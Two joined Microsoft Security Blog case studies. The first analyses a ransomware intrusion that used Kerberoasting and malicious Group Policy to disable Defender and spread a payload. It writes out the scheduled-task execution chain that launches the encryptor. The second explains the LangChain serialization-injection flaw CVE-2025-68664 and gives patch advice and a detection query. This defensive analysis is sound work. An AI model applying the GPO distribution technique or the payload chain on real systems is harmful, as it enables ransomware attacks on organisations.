Initial Access and Privilege Escalation: The attacker began operating from an unmanaged device. At this stage, one Domain Admin account had already been compromised. Due to limited visibility, the initial access vector and the method used to obtain Domain Admin privileges remain unknown.

Day 1: Reconnaissance: The attacker began reconnaissance activity using AD Explorer for Active Directory enumeration and brute force techniques to map the environment. Defender generated alerts in response to these activities.

Day 2: Credential Access and Lateral Movement: The attacker obtained credentials for multiple high privilege accounts, with Kerberoasting and NTDS dump activity observed leading up to this point. During this phase, the attacker also created multiple local accounts on compromised systems to establish additional persistent access. Using some of the acquired credentials, the attacker then began moving laterally within the network.

During these activities, Defender initiated attack disruption against five compromised accounts. This action caused the attacker’s lateral movement attempts to be blocked at scale, resulting in thousands of blocked authentication and access attempts and a significant slowdown of the attack.

With attack disruption in place, the attacker’s progress was significantly constrained at this stage, limiting lateral movement and preventing rapid escalation. Without this intervention, the customer would have faced a far more severe outcome.

Day 5: Defense Evasion and Impact: While some accounts were disrupted and blocked, the attacker was still able to leverage additional privileged accounts still in their hands. Using these accounts, the attacker transitioned to the impact phase and leveraged Group Policy as the primary distribution mechanism.
Just prior to the ransomware deployment, the attacker used GPO to propagate a tampering policy that disabled Defender protections.

Ransomware payload was then distributed via GPO, while in parallel, the attacker executed additional remote ransomware operations, delivering the payload over SMB using multiple compromised accounts.

A second round of attack disruption was initiated by Defender as a reaction to this new stage, this time alongside predictive shielding. More than a dozen compromised entities were disrupted, together with GPO hardening, ultimately neutralizing the attack and preventing the attacker from making any further progress.

Step 1: Tampering with security controls

The attacker’s first move was to create a malicious GPO designed to tamper with endpoint security controls. The policy disabled key Defender protections, including behavioral monitoring and real-time protection, with the goal of weakening defenses ahead of ransomware deployment.

This tampering attempt triggered a Defender tampering alert. In response, predictive shielding activated GPO hardening, temporarily pausing the propagation of new GPO policies, across all MDE onboarded devices reachable from the attacker’s standpoint – achieved protection of ~85% of devices against the tampering policy.

Step 2: Ransomware distribution via scheduled tasks

Approximately ten minutes after creating the tampering GPO, without being aware of Defender’s GPO Hardening policy being deployed and activated, the attacker attempted to proceed with the next stage of the attack: ransomware payload distribution[EF2] .

• The attacker placed three malicious files: run.bat, run.exe and run.dll under the SYSVOL share. These files were responsible for deploying the ransomware payload.
• A second malicious GPO was created to configure a scheduled task on targeted devices.
• The scheduled task copied the payload files locally and executed them using the following chain:
   cmd /c start run.bat → cmd /c c:\users\…\run.exe → rundll32 c:\users\…\run.dll Encryptor

This approach is effective because each device pulls the payload to itself through the scheduled task. The attacker sets the GPO once, and the devices do the rest. It’s a self-service distribution model that leverages the infrastructure the organization depends on.

Because GPO hardening had already been applied during the tampering stage, by the time the attacker created the ransomware GPO ten minutes later, the environment was already hardened. The system recognized that GPO tampering is a precursor to ransomware distribution and acted preemptively. The system didn’t wait for ransomware to appear. It acted on what the attacker was about to do.

The results

The numbers speak for themselves:

• Zero machines were encrypted via the GPO path.
• Roughly 97% of devices the attacker attempted to encrypt were fully protected by Defender. A limited number of devices experienced encryption during concurrent ransomware activity over SMB; however, attack disruption successfully contained the incident and stopped further impact.
• 700 devices applied the predictive shielding GPO hardening policy, reflecting the attacker’s broad targeting scope, and blocking the propagation of the malicious policy set by the attacker within approximately 3 hours.

The hardening dilemma: Why threat actors love operational mechanisms

Enterprise environments rely on administrative mechanisms such as Group Policy, scheduled tasks, and remote management tools to manage and automate operations at scale. These capabilities are highly privileged and widely trusted, making them a natural part of everyday IT workflows. Because they are designed for legitimate administration and automation, attackers increasingly target them as a low-friction way to disable defenses and distribute malware using the same tools administrators use every day.

This creates a fundamental asymmetry. Defenders must keep these mechanisms open for legitimate use, while attackers exploit that very openness. Attackers increasingly pivot toward IT management mechanisms precisely because they can’t be hardened all the time. GPO changes are treated as legitimate administrative activity. Scheduled tasks are a normal OS function. SYSVOL and NETLOGON must remain accessible to every domain-joined device.

Traditional security approaches all fall short here. Always-on hardening breaks operations. Detection-only is too late, because by the time an alert fires, ransomware may already be distributed across the environment. Manual SOC intervention can’t keep pace with an attacker operating in minutes. This is the gap that predictive shielding is designed to close.

Predictive shielding: Contextual, just-in-time hardening

Predictive shielding is built on two pillars. The first is prediction: Defender correlates activity signals, threat intelligence, and exposure topology to infer what the attacker is likely to do next and which assets are realistically reachable. The second is enforcement: targeted, temporary controls are applied to disrupt the predicted attack path in real time.

This is a fundamentally different approach to protection: adaptive, risk-conditioned enforcement, with controls that are scoped to the blast radius, temporary, and contextual. Instead of relying on always-on controls or reacting after damage occurs, Defender applies these targeted, temporary protections only when concrete risk signals indicate an attack is unfolding.

Closing the gap

Operational mechanisms like GPO can’t be permanently hardened, and that is exactly why threat actors pivot toward them. Predictive shielding closes this gap with contextual, just-in-time hardening that acts on predicted attacker intent rather than waiting for the attack to materialize.

In this case, predictive shielding caught the attacker at the tampering stage and prevented ransomware from spreading through a malicious GPO.
700 devices were saved from encryption, achieving a 97% protection rate.
The remaining devices were encrypted through rapid remote SMB-based ransomware deployment, after which attack disruption successfully contained the incident and stopped further propagation.
Zero machines applied the attacker’s malicious ransomware deployment GPO, preventing widespread encryption and saving the customer from significant recovery costs, operational downtime, and data loss.

MITRE ATT&CK® techniques observed

The table below maps observed behaviors to ATT&CK. (Tactics shown are per technique definition) 

References

• Blog post: Microsoft Defender now prevents threats on endpoints during an attack  
• Predictive shielding in Microsoft Defender
• GPO hardening in Microsoft Defender for Endpoint

This research is provided by Microsoft Defender Security Research with contributions from Tal Tzhori and Aviv Sharon.

Learn more   

Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.   

• Learn more about Protect your agents in real-time during runtime (Preview) – Microsoft Defender for Cloud Apps
• Explore how to build and customize agents with Copilot Studio Agent Builder 
• Microsoft 365 Copilot AI security documentation 
• How Microsoft discovers and mitigates evolving attacks against AI guardrails 
• Learn more about securing Copilot Studio agents with Microsoft Defender  

The post Case study: How predictive shielding in Defender stopped GPO-based ransomware before it started appeared first on Microsoft Security Blog.

Security discussions often focus on prompt-level protections, and that focus is justified. However, prompt security addresses only one layer of risk. Equally important is securing the AI application supply chain, including the frameworks, SDKs, and orchestration layers used to build and operate these systems. Vulnerabilities in these components can allow attackers to influence AI behavior, access sensitive resources, or compromise the broader application environment.

The recent disclosure of CVE-2025-68664, known as LangGrinch, in LangChain Core highlights the importance of securing the AI supply chain. This blog uses that real-world vulnerability to illustrate how Microsoft Defender posture management capabilities can help organizations identify and mitigate AI supply chain risks.

Case example: Serialization injection in LangChain (CVE-2025-68664)

A recently disclosed vulnerability in LangChain Core highlights how AI frameworks can become conduits for exploitation when workloads are not properly secured. Tracked as CVE-2025-68664 and commonly referred to as LangGrinch, this flaw exposes risks associated with insecure deserialization in agentic ecosystems that rely heavily on structured metadata exchange.

Vulnerability summary

CVE-2025-68664 is a serialization injection vulnerability affecting the langchain-core Python package. The issue stems from improper handling of internal metadata fields during the serialization and deserialization process. If exploited, an attacker could:

• Extract secrets such as environment variables without authorization
• Instantiate unintended classes during object reconstruction
• Trigger side effects through malicious object initialization

The vulnerability carries a CVSS score of 9.3, highlighting the risks that arise when AI orchestration systems do not adequately separate control signals from user-supplied data.

Understanding the root cause: The lc marker

LangChain utilizes a custom serialization format to maintain state across different components of an AI chain. To distinguish between standard data and serialized LangChain objects, the framework uses a reserved key called lc. During deserialization, when the framework encounters a dictionary containing this key, it interprets the content as a trusted object rather than plain user data.

The vulnerability originates in the dumps() and dumpd() functions in affected versions of the langchain-core package. These functions did not properly escape or neutralize the lc key when processing user-controlled dictionaries. As a result, if an attacker is able to inject a dictionary containing the lc key into a data stream that is later serialized and deserialized, the framework may reconstruct a malicious object.

This is a classic example of an injection flaw where data and control signals are not properly separated, allowing untrusted input to influence the execution flow.

Mitigation and protection guidance

Microsoft recommends that all organizations using LangChain review their deployments and apply the following mitigations immediately.

1. Update LangChain Core

The most effective defense is to upgrade to a patched version of the langchain-core package.

• For 0.3.x users: Update to version 0.3.81 or later.
• For 1.x users: Update to version 1.2.5 or later.

2. Query the security explorer to identify any instances of LangChain in your environment

To identify instances of LangChain package in the assets protected by Defender for Cloud, customers can use the Cloud Security Explorer:

*Identification in cloud compute resources requires Defender CSPM / Defender for Containers / Defender for Servers plan.

*Identification in code environment requires connecting your code environment to Defender for Cloud Learn how to set up connectors

3. Remediate based on Defender for Cloud recommendations across the software development cycle: Code, Ship, Runtime

*Identification in cloud compute resources requires Defender CSPM / Defender for Containers / Defender for Servers plan.

*Identification in code environment requires connecting your code environment to Defender for Cloud Learn how to set up connectors

4. Create GitHub issues with runtime context directly from Defender for Cloud, track progress, and use Copilot coding agent for AI-powered automated fix

Learn more about Defender for Cloud seamless workflows with GitHub to shorten remediation times for security issues.

Microsoft Defender XDR detections 

Microsoft security products provide several layers of defense to help organizations identify and block exploitation attempts related to AI vulnerable software.  

Microsoft Defender provides visibility into vulnerable AI workloads through its Cloud Security Posture Management (Defender CSPM).

Vulnerability Assessment: Defender for Cloud scanners have been updated to identify containers and virtual machines running vulnerable versions of langchain-core. Microsoft Defender is actively working to expand coverage to additional platforms and this blog will be updated when more information is available.

Hunting queries   

Microsoft Defender XDR

Security teams can use the advanced hunting capabilities in Microsoft Defender XDR to proactively look for indicators of exploitation. A common sign of exploitation is a Python process associated with LangChain attempting to access sensitive environment variables or making unexpected network connections immediately following an LLM interaction.

The following Kusto Query Language (KQL) query can be used to identify devices that are using the vulnerable software:

DeviceTvmSoftwareInventory
| where SoftwareName has "langchain" 
    and (
        // Lower version ranges
        SoftwareVersion startswith "0." 
        and toint(split(SoftwareVersion, ".")[1]) < 3 
        or (SoftwareVersion hasprefix "0.3." and toint(split(SoftwareVersion, ".")[2]) < 81)
        // v1.x affected before 1.2.5
        or (SoftwareVersion hasprefix "1." 
            and (
                // 1.0.x or 1.1.x
                toint(split(SoftwareVersion, ".")[1]) < 2
                // 1.2.0-1.2.4
                or (
                    toint(split(SoftwareVersion, ".")[1]) == 2
                    and toint(split(SoftwareVersion, ".")[2]) < 5
                )
            )
        )
    )
| project DeviceName, OSPlatform, SoftwareName, SoftwareVersion

References

• NVD - CVE-2025-68664
• All I Want for Christmas is Your Secrets: LangGrinch hits LangChain Core (CVE-2025-68664) - Cyata | The Control Plane for Agentic Identity
• fix(core): serialization patch by mdrxy · Pull Request #34458 · langchain-ai/langchain · GitHub
• fix(core): serialization patch by ccurme · Pull Request #34455 · langchain-ai/langchain · GitHub
• What is Cloud Security Posture Management (CSPM) - Microsoft Defender for Cloud | Microsoft Learn
• Build queries with cloud security explorer - Microsoft Defender for Cloud | Microsoft Learn

This research is provided by Microsoft Defender Security Research with contributions from Tamer Salman, Astar Lev, Yossi Weizman, Hagai Ran Kestenberg, and Shai Yannai.

Learn more  

Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.  

Learn more about securing Copilot Studio agents with Microsoft Defender 

Learn more about Protect your agents in real-time during runtime (Preview) – Microsoft Defender for Cloud Apps | Microsoft Learn  

Explore how to build and customize agents with Copilot Studio Agent Builder  

The post Case study: Securing AI application supply chains appeared first on Microsoft Security Blog.